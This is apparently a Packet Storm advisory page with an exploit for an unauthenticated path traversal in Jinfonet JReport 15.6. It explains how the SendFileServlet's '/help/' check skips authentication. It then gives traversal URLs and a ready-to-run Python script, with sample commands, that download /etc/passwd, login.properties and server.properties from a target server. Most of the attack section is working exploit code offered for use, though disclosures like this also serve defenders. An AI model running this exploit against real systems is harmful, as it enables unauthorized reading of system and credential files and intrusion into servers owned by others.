what you don't know can hurt you

Jinfornet Jreport 15.6 Directory Traversal

Jinfornet Jreport 15.6 Directory Traversal
Posted Mar 27, 2020
Authored by hongphukt

Jinfornet Jreport version 15.6 suffers from an unauthenticated directory traversal vulnerability.

tags | exploit, file inclusion
MD5 | aa0b75959e528f9f28ec3bdf8df57c76

Jinfornet Jreport 15.6 Directory Traversal

Change Mirror Download
# Exploit Title: Jinfornet Jreport 15.6 - Unauthenticated Directory Traversal
# Date: 2020-03-26
# Exploit Author: hongphukt
# Vendor Homepage: https://www.jinfonet.com/
# Software Link: https://www.jinfonet.com/product/download-jreport/
# Version: JReport 15.6
# Tested on: Linux, Windows

Jreport Help function have a path traversal vulnerability in the SendFileServlet allows remote unauthenticated users to view any files on the Operating System with Application services user permission. This vulnerability affects Windows and Unix operating systems.
Technical Details

Jreport before loggedin have help function with url:

https://serverip/jreport/sendfile/help/userguide/server/index.htm

senfile url processing by jet.server.servlets.SendFileServlet class.

<servlet>

<servlet-name>sendfile</servlet-name>

<servlet-class>jet.server.servlets.SendFileServlet</servlet-class>

</servlet>

<servlet-mapping>

<servlet-name>sendfile</servlet-name>

<url-pattern>/sendfile/*</url-pattern>

</servlet-mapping>



In jet.server.servlets.SendFileServlet class, request will go on when it’s authenticated or start url by ‘/help/’

if ((!isAuthentic) &&

(!path.startsWith("/help/")))

{

httpRptServer.getHttpUserSessionManager().sendUnauthorizedResponse(req, res, this.D, httpRptServer.getResourceManager().getRealm());

return;

}



So the function reading file without any path validation

Exploit:

Get login properties, /etc/password file by get url:

http://jreport.test/jreport/sendfile/help/../bin/login.properties

http://jreport.test/jreport/sendfile/help/../../../../../../../../../../../../../../etc/passwd

# Exploit Code

import requests
import argparse

def exploit(url, file):

session = requests.Session()
rawBody = "\r\n"
response = session.get("{}/jreport/sendfile/help/{}".format(url,file), data=rawBody)

if response.status_code == 404:
print("The '{}' file was not found.".format(file))
else:
print("-" *22)
print(response.content)
print("-" *22)

if __name__ == "__main__":

parser = argparse.ArgumentParser(description='Jreport Path traversal & Arbitrary File Download')
parser.add_argument('-u', action="store", dest="url", required=True, help='Target URL')
parser.add_argument('-f', action="store", dest="file", required=True, help='The file to download')
args = parser.parse_args()

exploit(args.url, args.file)

# python jreport_fileread.py -u http://jreport.address -f "../../../../../../../../../../../../../../etc/passwd/"
# python jreport_fileread.py -u http://jreport.address -f "../bin/login.properties"
# python jreport_fileread.py -u http://jreport.address -f "../bin/server.properties"
Login or Register to add favorites

File Archive:

July 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    15 Files
  • 2
    Jul 2nd
    19 Files
  • 3
    Jul 3rd
    12 Files
  • 4
    Jul 4th
    1 Files
  • 5
    Jul 5th
    2 Files
  • 6
    Jul 6th
    25 Files
  • 7
    Jul 7th
    35 Files
  • 8
    Jul 8th
    4 Files
  • 9
    Jul 9th
    9 Files
  • 10
    Jul 10th
    7 Files
  • 11
    Jul 11th
    4 Files
  • 12
    Jul 12th
    4 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close